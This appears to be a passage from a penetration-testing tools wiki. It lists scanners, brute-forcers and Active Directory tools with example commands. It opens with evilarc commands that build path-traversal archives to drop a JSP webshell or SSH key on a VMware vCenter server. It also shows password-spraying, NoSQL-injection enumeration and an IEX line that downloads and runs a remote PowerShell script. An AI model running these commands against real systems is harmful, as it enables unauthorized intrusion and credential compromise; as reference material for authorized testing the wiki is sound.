python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar testRCE.jsp
python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys
```

Reference: <https://swarm.ptsecurity.com/unauth-rce-vmware/>


# GraphQL

[**GraphQL:**](https://github.com/graphql/graphiql) GraphQL IDE Monorepo.

![](/files/-MWzxGbcTsw1VEN7ot_d)

&#x20;[**GraphQLmap**](https://github.com/swisskyrepo/GraphQLmap)**:** A scripting engine to interact with a graphql endpoint for pentesting purposes.

&#x20;[**InQL**](https://github.com/doyensec/inql) **+ burpsuite:** InQL can be used as a stand-alone script, or as a Burp Suite extension (available for both Professional and Community editions).&#x20;

![](/files/-MWzymn1zYVDU75wjfMX)

{% tabs %}
{% tab title="Configuration Burpsuite" %}
![](/files/-MX--czECRwHJ2q3EhMu)

Add Bearer- token

![](/files/-MX-050f6dSTlmR2TFvp)

Use the context menu to send it to the Repeater (***inql: Sent to graphiQL***)

![](/files/-MX-0a_TT6wDRiSIEVmI)

![](/files/-MgHreOpnoe2BXcuS_4a)
{% endtab %}
{% endtabs %}

## References

{% embed url="<https://busk3r.medium.com/hacking-graphql-for-fun-and-profit-part-1-understanding-graphql-basics-72bb3dd22efa>" %}

{% embed url="<https://busk3r.medium.com/hacking-graphql-for-fun-and-profit-part-2-methodology-and-examples-5992093bcc24>" %}


# JWT

[**jwt-key-id-injector**](https://github.com/dariusztytko/jwt-key-id-injector)**:** Simple python script to check against hypothetical JWT vulnerability.

```
python3 injector.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.zbgd5BNF1cqQ_prCEqIvBTjSxMS8bDLnJAE_wE-0Cxg
```

&#x20;[**MyJWT**](https://github.com/mBouamama/MyJWT): This cli is for pentesters, CTF players, or dev. You can modify your jwt, sign, inject ,etc…


# Infrastructure and Network

{% content-ref url="/pages/-MX7ujgTbwkFo36B4IFm" %}
[Scan and Discovery](/tools/infrastructure-and-network/scan-and-discovery)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7usLwAEFaPlE7gEvL" %}
[Automated Scanners](/tools/infrastructure-and-network/automated-scanners)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7uvE\_ekvhh0MLEPT2" %}
[Misc](/tools/infrastructure-and-network/misc)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7uy4Z072iHesbu9iJ" %}
[Active Directory](/tools/infrastructure-and-network/active-directory)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7v093ehNSLVkeWZjn" %}
[Cloud & Azure](/tools/infrastructure-and-network/cloud-and-azure)
{% endcontent-ref %}

{% content-ref url="/pages/-MWdYQ4RfrZRsQeGDw2n" %}
[Command and Control (C\&C)](/command-and-control-c-and-c)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7vXfBsvwlEZNnZSNC" %}
[(De)serialization](/tools/infrastructure-and-network/de-serialization)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7vcAluFleKvqZuv5A" %}
[Lateral Movement](/tools/infrastructure-and-network/lateral-movement)
{% endcontent-ref %}

{% content-ref url="/pages/-MX7vhVa3EDwpqkj2eGn" %}
[Powershell](/tools/infrastructure-and-network/powershell)
{% endcontent-ref %}


# Scan and Discovery

[**nmapAutomator**](https://github.com/21y4d/nmapAutomator): A script you can run in the background! Useful for running during your enum exercise. I used it during my OSCP certification!

![](/files/-MX29pTBKTi83HjT5-jJ)

**mapCIDR:** it is developed to ease load distribution for mass scanning operations, it can be used both as a library and as independent CLI tool.

{% embed url="<https://github.com/projectdiscovery/mapcidr>" %}

![](/files/H6AjSBOUXVlyfxaZ3s1I)

[**RustScan**](https://github.com/RustScan/RustScan)**:** The Modern Port Scanner. Find ports quickly (3 seconds at its fastest). Run scripts through our scripting engine (Python, Lua, Shell supported).

![](/files/-MX2NfI59sWfMq4ONr66)

[**dscan**](https://github.com/0x4E0x650x6F/dscan)**:** Distributed Nmap, wrapper around Nmap to allow distributed network enumeration.

```bash
%dscan --name project name srv --config dscan.conf targets.txt
    
    Distributed Scan Status
    ========================
    
    ---------	----------------	------------
    N Stages	N  Pending Tasks	Completion %
    ---------	----------------	------------
    4        	0               	0.00%       
    
    ---------	----------	-----------	------------
    Stage    	N Targets	N Finished	Completion %
    ---------	----------	-----------	------------
    discovery	1         	0          	0.00%       
    
    ---------------	---------	-----------	------------
    Agent          	Stage    	Task Status	Target Ip   
    ---------------	---------	-----------	------------
    127.0.0.1:53281	discovery	DOWNLOADING	127.0.0.1/32
```

[**hcxdumptool**](https://github.com/ZerBea/hcxdumptool): Small tool to capture packets from wlan devices.

```bash
sudo hcxdumptool -i wlp39s0f3u4u5 -o output.pcapng -t 5 --enable_status=3

start capturing (stop with ctrl+c)
INTERFACE:...............: wlan0
FILTERLIST...............: 0 entries
MAC CLIENT...............: f0a225a8faa8
MAC ACCESS POINT.........: 00bb3a4250d5 (incremented on every new client)
EAPOL TIMEOUT............: 150000
REPLAYCOUNT..............: 61585
ANONCE...................: 765e00f3f9788ebf2df96c69ee9806b19df6105b2c39b389d76d4d85ee5f0f66
 
[10:37:11 - 001] 00156d9a26c0 -> f0a225a8faa8 Anan Apartment [PROBERESPONSE, SEQUENCE 2696, AP CHANNEL 1]
[10:37:12 - 001] 6c8dc120891f -> ffffffffffff Anan Apartment [PROBEREQUEST, SEQUENCE 2643]
[10:37:12 - 001] 00bb3a4250d6 -> 6c8dc120891f Anan Apartment [PROBERESPONSE, SEQUENCE 0, AP CHANNEL 1]
[10:37:12 - 001] 70778110c833 -> 00156d9a26c0  [PROBEREQUEST, SEQUENCE 256]
[10:37:32 - 009] 403decc272b8 -> 2c5bb8742b39 Paangoon_2G [PROBERESPONSE, SEQUENCE 1940, AP CHANNEL 9]
[10:37:36 - 011] ec1f72b8f3d1 -> f0a225a8faa8 Muay [PROBERESPONSE, SEQUENCE 2902, AP CHANNEL 11]
[10:37:38 - 011] 083e8eaa328b -> ffffffffffff Muay [PROBEREQUEST, SEQUENCE 9]
[10:37:38 - 011] 00bb3a4250d7 -> 083e8eaa328b Muay [PROBERESPONSE, SEQUENCE 9, AP CHANNEL 11]
[10:37:39 - 011] 083e8eaa328b -> ec1f72b8f3d1 [FOUND HANDSHAKE AP-LESS, EAPOL TIMEOUT 14306]
[10:37:39 - 011] ec1f72b8f3d1 -> 083e8eaa328b [FOUND AUTHORIZED HANDSHAKE, EAPOL TIMEOUT 7419]
[10:37:50 - 002] 4c189a2fb76e -> ffffffffffff Topline_Wifi [PROBEREQUEST, SEQUENCE 344]
[10:37:50 - 002] 00bb3a4250d8 -> 4c189a2fb76e Topline_Wifi [PROBERESPONSE, SEQUENCE 10, AP CHANNEL 2]
[10:38:01 - 008] b6b98a73aa05 -> f0a225a8faa8 Panmongkon [PROBERESPONSE, SEQUENCE 1433, AP CHANNEL 8]
[10:38:01 - 008] b6b98a73e88a -> f0a225a8faa8 Panmongkon [PROBERESPONSE, SEQUENCE 3790, AP CHANNEL 8]
[10:38:20 - 001] 74da38b04d5a -> ffffffffffff seasun [PROBEREQUEST, SEQUENCE 3235]
[10:38:20 - 001] 00bb3a4250d9 -> 74da38b04d5a seasun [PROBERESPONSE, SEQUENCE 25, AP CHANNEL 1]
INFO: cha=9, rx=13802, rx(dropped)=1073, tx=319, powned=2, err=0
```

{% embed url="<https://en.kali.tools/?p=841>" %}

[**Nosql-MongoDB-injection-username-password-enumeration**](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)**:** Using this script, we can enumerate Usernames and passwords of Nosql(mongodb) injecion vulnerable web applications.

```
python nosqli-user-pass-enum.py -u http://example.com/index.php -up username -pp password -ep username -op login:login,submit:submit
```

[**nullinux**](https://github.com/m8r0wn/nullinux)**:** Nullinux is an internal penetration testing tool for Linux that can be used to enumerate OS information, domain information, shares, directories, and users through SMB. If no username and password are provided in the command line arguments, an anonymous login, or null session, is attempted. Nullinux acts as a wrapper around the Samba tools smbclient & rpcclient to enumerate hosts using a variety of techniques.

&#x20;[**ridenum**](https://github.com/trustedsec/ridenum)**:** A simple open source method for performing null session brute forces.

```
./ridenum.py 192.168.1.50 500 50000 /root/dict.txt /root/user.txt
```

[**tomcat-weak-password-scanner**](https://github.com/magicming200/tomcat-weak-password-scanner): Tomcat password brute-force.

[**SharpEDRChecker**](https://github.com/PwnDexter/SharpEDRChecker): Checks running processes, process metadata, Dlls loaded into your current process and the each DLLs metadata, common install directories, installed services and each service binaries metadata, installed drivers and each drivers metadata, all for the presence of known defensive products such as AV's, EDR's and logging tools.

![](/files/-MX2Wb9HPMVRiiOwJX7p)

[**finger-user-enum**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum)**:** finger-user-enum (Solaris OS) is a tool for enumerating OS-level user accounts via the finger service. As of release v1.0 it is known to work against the default Solaris daemon. It may not yet work against all daemons since there is no defined format for the data returned by the finger service.

List of usernames: <https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/names.txt>

```bash
$ ./finger-user-enum.pl -U users.txt -t 10.0.0.1
 Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum ) 

  ----------------------------------------------------------
 |                   Scan Information                       |
  ---------------------------------------------------------- 

 Worker Processes ......... 5
 Usernames file ........... users.txt
 Target count ............. 1
 Username count ........... 47
 Target TCP port .......... 79
 Query timeout ............ 5 secs
 Relay Server ............. Not used 

 ######## Scan started at Sun Jan 21 19:44:22 2007 #########
 root@10.0.0.1: root     Super-User            console     2:03 Wed 07:23 ..
 bin@10.0.0.1: bin             ???            pts/1        <Dec 21 13:04> 10.0.0.99
 daemon@10.0.0.1: daemon          ???                         < .  .  .  . >..
 adm@10.0.0.1: adm      Admin                              < .  .  .  . >..
 lp@10.0.0.1: lp       Line Printer Admin                 < .  .  .  . >..
 uucp@10.0.0.1: uucp Admin                         < .  .  .  . >..
 nobody@10.0.0.1: nobody4  SunOS 4.x Nobody                   < .  .  .  . >..
 ftp@10.0.0.1: ftp      Anonymous FTPUser     674          <Aug 11 14:22> 10.0.0.99
 ######## Scan completed at Sun Jan 21 19:44:23 2007 #########
 8 results. 

 47 queries in 1 seconds (47.0 queries / sec)
```

##


# Network mapper

Nmap scanner will be used for all networks host and ports discovery tasks. The current scripts presented on this post will only check for IP, protocol and ports, and the traceroute results but can be changed to add more properties to the objects.

## Nmap --traceroute

```
nmap -sS -p22,80,443,445,8080 -oX network_one.xml --traceroute 192.168.0.0/20
```

Mandatory options are:

* **-oX (or -oA)**
  * to save the output file in XML format
* **–traceroute**
  * to scan for the IP path of the packets until the destination

## Setup Neo4J&#x20;

The next example assumes disabled authentication in the neo4j database. To do this configure in the neo4j.conf file the following property:

```
dbms.security.auth_enabled=false
```

This is optional but if you do not disabled it you will have to change the authentication in the scripts presented.

## Nmap XML to Neo4J

```
import sys, json
from xml.dom.minidom import parse
from neo4j import GraphDatabase

NEO4J_URL = "bolt://127.0.0.1:7687"

created = []

driver = GraphDatabase.driver(NEO4J_URL)
session = driver.session(database="neo4j")


def add_node(tx, data):
    result = tx.run("CREATE (h:Host) SET h.address = $address RETURN id(h)", address=data['data']['id'])
    return result.single()[0]


def add_nmap_results(tx, results):
    address, proto, nr, state, service = results
    tx.run("MATCH (h:Host {address: $address}) MERGE (h)-[:has_port]->(:Port {number: $nr, proto: $proto, service: $service, state: $state})", address=address, nr=nr, state=state, proto=proto, service=service)


def relate_nodes(tx, nodes):
    first, last = nodes
    tx.run("MATCH (src:Host {address: $first}), (dst:Host {address: $last}) MERGE (src)-[:connects_to]->(dst)", first=first, last=last)


src = "SRC"
data = {'data': {'id': src}}
id = session.execute_write(add_node, data)


def parse_elements(dom):
    hosts = dom.getElementsByTagName('host')
    for host in hosts:
        address = host.getElementsByTagName('address')[0].getAttribute('addr')
        print("Adding " + address)
        data = {'data': {'id': address}}
        id = session.execute_write(add_node, data)
        created.append(address)

        ports = host.getElementsByTagName('ports')[0]
        for port in ports.getElementsByTagName('port'):
            proto, nr = port.getAttribute('protocol'), port.getAttribute('portid')
            state = port.getElementsByTagName('state')[0].getAttribute('state')
            try: service = port.getElementsByTagName('service')[0].getAttribute('name')
            except: service = ""
            session.execute_write(add_nmap_results, (address, proto, nr, state, service))

        try:
            trace = host.getElementsByTagName('trace')[0]
            hops = trace.getElementsByTagName('hop')
            last = src
            for hop in hops:
                ip = hop.getAttribute('ipaddr')
                if ip not in created:
                    data = {'data': {'id': ip}}
                    session.execute_write(add_node, data)
                    created.append(ip)
                session.execute_write(relate_nodes, (last, ip))
                last = ip
        except:
            pass

for arg in sys.argv[1:]:
    dom = parse(arg)
    parse_elements(dom)
```

## Converting to a interactive HTML

```
import sys, json, requests

db = {'nodes': [], 'edges': []}

response = requests.post("http://127.0.0.1:7474/db/neo4j/tx", json={
  "statements": [
    {
      #"statement": "match p=((n1:Host)-[:connects_to]->(n2:Host)-[:has_port*]->(port:Port)) return p",
      "statement": "match p=((n1:Host)-[:connects_to]->(n2:Host)) return p",
      "resultDataContents": ["graph"]
    }
  ]
})

if response.status_code == 201:
    results = response.json()
    for result in results['results']:
        for data in result['data']:
            for node in data['graph']['nodes']:
                if node['labels'][0] == "Host":
                    label = node['properties']['address']
                elif node['labels'][0] == "Port":
                    label = node['properties']['number']
                else:
                    raise Exception("Cannot handle it!")

                n = {'id': node['id'], 'classes': node['labels'], 'data': node['properties'], 'label': label}
                db['nodes'].append({'data': n})
            for node in data['graph']['relationships']:
                n = {'id': node['id'], 'source': node['startNode'], 'target': node['endNode'], 'type': node['type']}
                db['edges'].append({'data': n})

elements = {'elements': db,
            'layout': {'name': 'euler', 'randomize': True, 'animate': True},
            'style': [
                {'selector': 'node', 'style': {'label': 'data(label)'}},
                {'selector': 'edge', 'style': {'label': 'data(type)'}}
           ]
        }

print("""
<html>
<body>
<div id='cy' class='mw-100 mh-100' style="width: 1000px; height: 1000px"></div>
<a href="javascript:redraw()">Reorganize</a>
</body>
<script src="js/cytoscape.min.js"></script>
<script src="js/cytoscape-euler.js"></script>
<script src="js/popper.min.js"></script>
<script src="js/cytoscape-popper.js"></script>
<script src="js/tippy-bundle.umd.min.js"></script>
<script src="js/bootstrap.bundle.min.js"></script>
<script>
function redraw(){
  newlayout = cy.layout({name: "euler"});
  newlayout.run();
}

var cy = cytoscape({
    container: document.getElementById('cy'),
    elements: %s,
    layout: %s,
    style: %s
});
</script>
</html>
""" % (json.dumps(elements['elements']), json.dumps(elements['layout']), json.dumps(elements['style'])))
```

Dependencies:

{% file src="/files/z50ptfEfqvkjXc8ZYtOZ" %}

The final result will look something like the following image. The HTML is pannable and zoomable and you can select nodes.

<figure><img src="/files/t2lrIOmuzuS1UHDWDmtQ" alt="" width="360"><figcaption></figcaption></figure>

## Bonus

If you can identify nodes from cy in the javascript console, you can use:

```
cy.elements().forEach( (elem) => {
    if(elem.isNode()){
        var id = elem.id();

        if(elem.data('data.address') == "SRC"){
          elem.style({'background-color': 'green'});
        }else if(elem.data('data.address') == "192.168.2.71") {
          elem.style({'background-color': 'blue'});
        }
        else if(elem.data('data.address') == "192.168.2.251") {
          elem.style({'background-color': 'red'});
        }
    }
  });

```

Use the following functions to redraw the graph:

```
redraw();
```

## Reference

{% embed url="<https://www.artresilia.com/streamlining-network-visualization-an-in-depth-guide-to-interactive-html-maps-with-minimal-dependencies/>" %}


# Automated Scanners

[**Kn0ck**](https://github.com/telnet22/Kn0ck)**:** Kn0ck is an automated scanner that can be used during a penetration testing to enumerate and scan for vulnerabilities.

&#x20;[**yasuo**](https://github.com/0xsauby/yasuo)**:** A ruby script that scans for vulnerable & exploitable 3rd-party web applications on a network.

![](/files/-MX4VKr7tCwRWrM1KHx7)

&#x20;[**jok3r**](https://github.com/koutto/jok3r)**:** Jok3r v3 BETA 2 - Network and Web Pentest Automation Framework.

{% embed url="<https://youtu.be/z4cf_8EQ59Q>" %}

## osmedeus

{% embed url="<https://github.com/j3ssie/osmedeus>" %}

## Sn1per

{% embed url="<https://github.com/1N3/Sn1per>" %}

Exegol: Multiple containers for pentesting

{% embed url="<https://github.com/ThePorgs/Exegol?tab=readme-ov-file>" %}

## bbot

{% embed url="<https://github.com/blacklanternsecurity/bbot>" %}

```
bbot -t evilcorp.com -p subdomain-enum
```

## ReconFTW

{% embed url="<https://github.com/six2dez/reconftw>" %}


# Misc

[**lyncsmash**](https://github.com/nyxgeek/lyncsmash): This is a collection of tools to enumerate and attack self-hosted Skype for Business and Microsoft Lync installations.

```
python lyncsmash.py enum -H 2013-lync-fe.contoso.com -U usernamelist.txt -P passwordlist.txt -d CONTOSO -o CONTOSO_output.txt
python lyncsmash.py enum -H 2013-lync-fe.contoso.com -U usernamelist.txt -p Winter2017 -d CONTOSO
```

[**MSOLSpray**](https://github.com/dafthack/MSOLSpray)**:** A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled.

```
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2021
```

[**patator**](https://github.com/lanjelot/patator)**:** Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.

```
* ftp_login      : Brute-force FTP
* ssh_login      : Brute-force SSH
* telnet_login   : Brute-force Telnet
* smtp_login     : Brute-force SMTP
* smtp_vrfy      : Enumerate valid users using the SMTP VRFY command
* smtp_rcpt      : Enumerate valid users using the SMTP RCPT TO command
* finger_lookup  : Enumerate valid users using Finger
* http_fuzz      : Brute-force HTTP/HTTPS
* rdp_gateway    : Brute-force RDP Gateway
* ajp_fuzz       : Brute-force AJP
* pop_login      : Brute-force POP
* pop_passd      : Brute-force poppassd (not POP3)
* imap_login     : Brute-force IMAP
* ldap_login     : Brute-force LDAP
* dcom_login     : Brute-force DCOM
* smb_login      : Brute-force SMB
* smb_lookupsid  : Brute-force SMB SID-lookup
* rlogin_login   : Brute-force rlogin
* vmauthd_login  : Brute-force VMware Authentication Daemon
* mssql_login    : Brute-force MSSQL
* oracle_login   : Brute-force Oracle
* mysql_login    : Brute-force MySQL
* mysql_query    : Brute-force MySQL queries
* rdp_login      : Brute-force RDP (NLA)
* pgsql_login    : Brute-force PostgreSQL
* vnc_login      : Brute-force VNC
* dns_forward    : Brute-force DNS
* dns_reverse    : Brute-force DNS (reverse lookup subnets)
* ike_enum       : Enumerate IKE transforms
* snmp_login     : Brute-force SNMPv1/2 and SNMPv3
* unzip_pass     : Brute-force the password of encrypted ZIP files
* keystore_pass  : Brute-force the password of Java keystore files
* sqlcipher_pass : Brute-force the password of SQLCipher-encrypted databases
* umbraco_crack  : Crack Umbraco HMAC-SHA1 password hashes
```

[**Crowbar** ](https://github.com/galkan/crowbar)*(formally known as Levye)* is a brute forcing tool that can be used during penetration tests. It was developed to brute force some protocols in a different manner according to other popular brute forcing tools. As an example, while most brute forcing tools use username and password for SSH brute force, Crowbar uses SSH key(s). This allows for any private keys that have been obtained during penetration tests, to be used to attack other SSH servers.

![](/files/xZqeAZpZXaDz8SfA89hg)

[**ruler**](https://github.com/sensepost/ruler): Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook features and gain a shell remotely.

[**impacket**](https://github.com/SecureAuthCorp/impacket): Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library.

```
sudo git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
python3 -m venv venv
source venv/bin/activate
pip install .
python setup.py install

--or--

python3 -m pip install virtualenv
python3 -m venv impkt
source impkt/bin/activate
(or on windows .\impkt\Scripts\activate.ps1)
pip install git+https://github.com/SecureAuthCorp/impacket
```

[**PRET**](https://github.com/RUB-NDS/PRET): PRET - Printer Exploitation Toolkit.

```
$ ./pret.py laserjet.lan pjl
      ________________
    _/_______________/|
   /___________/___//||   PRET | Printer Exploitation Toolkit v0.25
  |===        |----| ||    by Jens Mueller <jens.a.mueller@rub.de>
  |           |   ô| ||
  |___________|   ô| ||
  | ||/.´---.||    | ||        「 cause your device can be
  |-||/_____\||-.  | |´           more fun than paper jams 」
  |_||=L==H==||_|__|/

     (ASCII art by
     Jan Foerster)

Connection to laserjet.lan established
Device:   hp LaserJet 4250

Welcome to the pret shell. Type help or ? to list commands.
laserjet.lan:/> help

Available commands (type help <topic>):
=======================================
append  debug    edit    free  id    ls       open      restart   timeout  
cat     delete   env     fuzz  info  mirror   printenv  selftest  touch    
cd      df       exit    get   load  mkdir    put       set       traversal
chvol   disable  find    help  lock  nvram    pwd       site      unlock   
close   display  format  hold  loop  offline  reset     status    version  

laserjet.lan:/>
```

[**anonymousfox.com**](https://anonymousfox.com/)**:** Auto-pwn websites and Cpanel.

{% embed url="<https://youtu.be/PMt-t8VHLC0>" %}

[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)**:** EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible. Another interesting project is [aquatone](https://github.com/michenriksen/aquatone).

```
proxychains-ng eyewitness --web -x 192.168.187.0-255.txt.xml --no-dns --no-prompt -d report 
```

{% tabs %}
{% tab title="proxychains" %}
EyeWitness through SOCKS proxy v4

source: <https://github.com/FortyNorthSecurity/EyeWitness/issues/458>
{% endtab %}

{% tab title="configuration" %}
I figured I would leave this information here after my 30 minutes of debugging so someone else doesn't struggle. EyeWitness can be run through a SOCKS proxy v4 by using proxychains, but it requires a very specific setup otherwise everything will timeout.

*Note: It looks like EyeWitness does actually support SOCKS v5 via "--proxy-type", but Cobalt Strike is v4 so that doesn't work.*

**Explanation and other issues:**

* In the latest versions of Kali, you cannot run EyeWitness as root (with sudo) otherwise you'll get a very vague error message of "Message: Unable to find a matching set of capabilities". If you read "geckodriver.log", you'll see the real error message of "Running Firefox as root in a regular user's session is not supported."
* The EyeWitness directory must be user-writable because EyeWitness writes to that geckodriver.log file. So make sure you chmod the folder correctly.
* If you run Kali's "proxychains" before "EyeWitness.py" (proxychains ./EyeWitness.py --single '[http://google.com](http://google.com/)' -d \~/output), you will see a ton of "|S-chain|-<>-SERVER:PORT-<><>-127.0.0.1:54665-<--denied". EyeWitness is trying to connect to the geckodriver that is listening on that port, but that request (127.0.0.1) is going through the SOCKS proxy instead of actually being a localhost request. Thus everything is denied and nothing works.

[![img](https://camo.githubusercontent.com/fca481988100d15d731029bcc6086f54e1fb9848add98f56f2a5badf0db4a7b3/68747470733a2f2f692e696d6775722e636f6d2f63485a716841422e706e67)](https://camo.githubusercontent.com/fca481988100d15d731029bcc6086f54e1fb9848add98f56f2a5badf0db4a7b3/68747470733a2f2f692e696d6775722e636f6d2f63485a716841422e706e67)

### Instructions on how to make it work

* Make sure EyeWitness directory is user-writable:

```
chmod -R 777 /opt/eyewitness-git/
```

* Kali's proxychains does not allow you to exclude IPs from being passed through the SOCKS proxy (which is what is breaking EyeWitness). You need to use the latest support version of Proxychains-ng (the actively developed version of proxychains) that allows exclusions. Complete commands are below for github cloning and installing for your convenience for copy/paste:

```
git clone https://github.com/rofl0r/proxychains-ng ~/proxychains-ng
cd ~/proxychains-ng
make -s clean
./configure --prefix=/usr --sysconfdir=/etc
make -s
make -s install
ln -sf /usr/bin/proxychains4 /usr/local/bin/proxychains-ng
```

* Add the following line to your /etc/proxychains.conf file (I personally add it after "proxy\_dns" but anywhere should work as long as its **not** at the very bottom under "\[ProxyList]"):

```
localnet 127.0.0.0/255.0.0.0
```

* Add your proxychains server like normal to the bottom of /etc/proxychains.conf
* Run EyeWitness like normal by prefixing "proxychains-ng" (notice the "-ng" at the end)

```
proxychains-ng ./EyeWitness.py --single 'http://google.com' -d ~/output
```

* You should now see the NEW version of the "S-Chain" line where it no longer uses ASCII arrows, see below:

[![img](https://camo.githubusercontent.com/4ed578a47fda26e1fb85979dafb8a3540bd3ce7aab07435633711f341c470f04/68747470733a2f2f692e696d6775722e636f6d2f6e634a3447546d2e706e67)](https://camo.githubusercontent.com/4ed578a47fda26e1fb85979dafb8a3540bd3ce7aab07435633711f341c470f04/68747470733a2f2f692e696d6775722e636f6d2f6e634a3447546d2e706e67)

Done! You can now run EyeWitness through CobaltStrike as long as you prefix it with "proxychains-ng" instead of the old, crappy "proxychains"
{% endtab %}

{% tab title="all .jpg > index.html" %}

```
for I in $(ls); do 
      echo "$I" >> index.html;
      echo "<img src=$I><br>" >> index.html;
done
```

{% endtab %}

{% tab title="eyewitness + burpsuite + custom header" %}
**1. Install BurpExtension: Add Custom Header**

{% embed url="<https://portswigger.net/bappstore/807907f5380c4cb38748ef4fc1d8cdbc>" %}

**2. BurpSuite > Add Custom Header**

![](/files/-MZNKixmPqMD-_0L70-f)

**3. BurpSuite > Project Options > Sessions**

**Add new rule** (Rule 3), and on "**Rule Actions**" **enable** the "**Invoke the extension handler**" and finally pick "**Add Custom Header**" extension. Ensure you enable in the "**Scope**" menu the "**Proxy**" option and also includes the scope/target URL or simply "**Include all URLs**".

![](/files/-MZNJWdFcu-XTHfk5rcA)

![](/files/-MZNJoTkv4yr2SRxrMLG)

**4. Run eyewitness via proxy**

```
eyewitness --proxy-ip 127.0.0.1 --proxy-port 8080 -f files.txt --web
```

{% endtab %}
{% endtabs %}

[**gowitness**](https://github.com/sensepost/gowitness)**:** gowitness - a golang, web screenshot utility using Chrome Headless.

![](/files/-MZNfbFBxc7wqcqsKBYe)

```
###multiple shots from a file####
for /F "delims=" %%a in (hosts.txt) do (
     gowitness-2.3.4-windows-amd64.exe single %%a
)
```

[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**:** A simple script to screenshot a list of websites, based on the url-to-image PhantomJS script. It can add customized headers.

\
[**updog**](https://github.com/sc0tfree/updog)**:** Updog is a replacement for Python's SimpleHTTPServer. It allows uploading and downloading via HTTP/S, can set ad hoc SSL certificates and use http basic auth.

![](/files/-MYAUpJLP7BJcx6hSP66)

[**radamsa**](https://gitlab.com/akihe/radamsa)**:**  Radamsa is a test case generator for robustness testing, a.k.a. a fuzzer. It is typically used to test how well a program can withstand malformed and potentially malicious inputs. It works by reading sample files of valid data and generating interestringly different outputs from them. The main selling points of radamsa are that it has already found a slew of bugs in programs that actually matter, it is easily scriptable and, easy to get up and running.

```
git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install
echo "HAL 9000" | radamsa
```

&#x20;**airventriloquist-ng** injects on encrypted WiFi packet and circumvents wireless intrusion prevention systems.

{% embed url="<https://manpages.debian.org/unstable/aircrack-ng/airventriloquist-ng.8.en.html>" %}

## CheckPoint Mobile agent VPN + Kali Linux

**CPVNP**

```
git clone https://gitlab.com/cpvpn/cpyvpn.git
cd cpvpn
pip install .
/home/kali/.local/bin/cp_client https://endpoint -m l -u 'user' -p 'pwd'
```

{% embed url="<https://gitlab.com/cpvpn/cpyvpn>" %}


# Active Directory

[Vulnerable-AD](https://github.com/WazeHell/vulnerable-AD): Create a vulnerable AD via this script.

#### Supported Attacks

* Abusing ACLs/ACEs
* Kerberoasting
* AS-REP Roasting
* Abuse DnsAdmins
* Password in Object Description
* User Objects With Default password (Changeme123!)
* Password Spraying
* DCSync
* Silver Ticket
* Golden Ticket
* Pass-the-Hash
* Pass-the-Ticket
* SMB Signing Disabled

```
# if you didn't install Active Directory yet , you can try 
Install-ADDSForest -CreateDnsDelegation:$false -DatabasePath "C:\\Windows\\NTDS" -DomainMode "7" -DomainName "cs.org" -DomainNetbiosName "cs" -ForestMode "7" -InstallDns:$true -LogPath "C:\\Windows\\NTDS" -NoRebootOnCompletion:$false -SysvolPath "C:\\Windows\\SYSVOL" -Force:$true
# if you already installed Active Directory, just run the script !
IEX((new-object net.webclient).downloadstring("https://raw.githubusercontent.com/wazehell/vulnerable-AD/master/vulnad.ps1"));
Invoke-VulnAD -UsersLimit 100 -DomainName "cs.org"
```

{% embed url="<https://github.com/WazeHell/vulnerable-AD>" %}

[**bloodhound**](https://github.com/BloodHoundAD)**:** BloodHound is an application developed with one purpose: to find relationships within an Active Directory (AD) domain to discover attack paths.

{% embed url="<https://phackt.com/pentesting-bloodhound-cypher-queries>" %}

{% embed url="<https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet>" %}

[**Max**](https://github.com/knavesec/Max)**:** Maximizing BloodHound. Max is a good boy.&#x20;

[**cypheroth**](https://github.com/seajaysec/cypheroth): Automated, extensible toolset that runs cypher queries against Bloodhound's Neo4j backend and saves output to spreadsheets.

```
./cypheroth.sh -u neo4j -p BloodHound -d TESTLAB.LOCAL -a localhost:7687 -v true -t 10s
```

![](/files/-MYeKeZgfuq2R2yXrQhN)

[**InveighZero**](https://github.com/Kevin-Robertson/InveighZero):  InveighZero is a C# LLMNR/NBNS/mDNS/DNS/DHCPv6 spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. This version shares many features with the PowerShell version of [Inveigh](https://github.com/Kevin-Robertson/Inveigh).

![](/files/-MX7k7-HF6WIZLDmef42)

[**CrackMapExec**](https://github.com/byt3bl33d3r/CrackMapExec)**:**  CrackMapExec (a.k.a CME) is a post-exploitation tool that helps automate assessing the security of *large* Active Directory networks.&#x20;

EXE version to use along with Windows machines (e.g., [Commando-VM](https://github.com/mandiant/commando-vm)).

{% embed url="<https://github.com/maaaaz/CrackMapExecWin>" %}

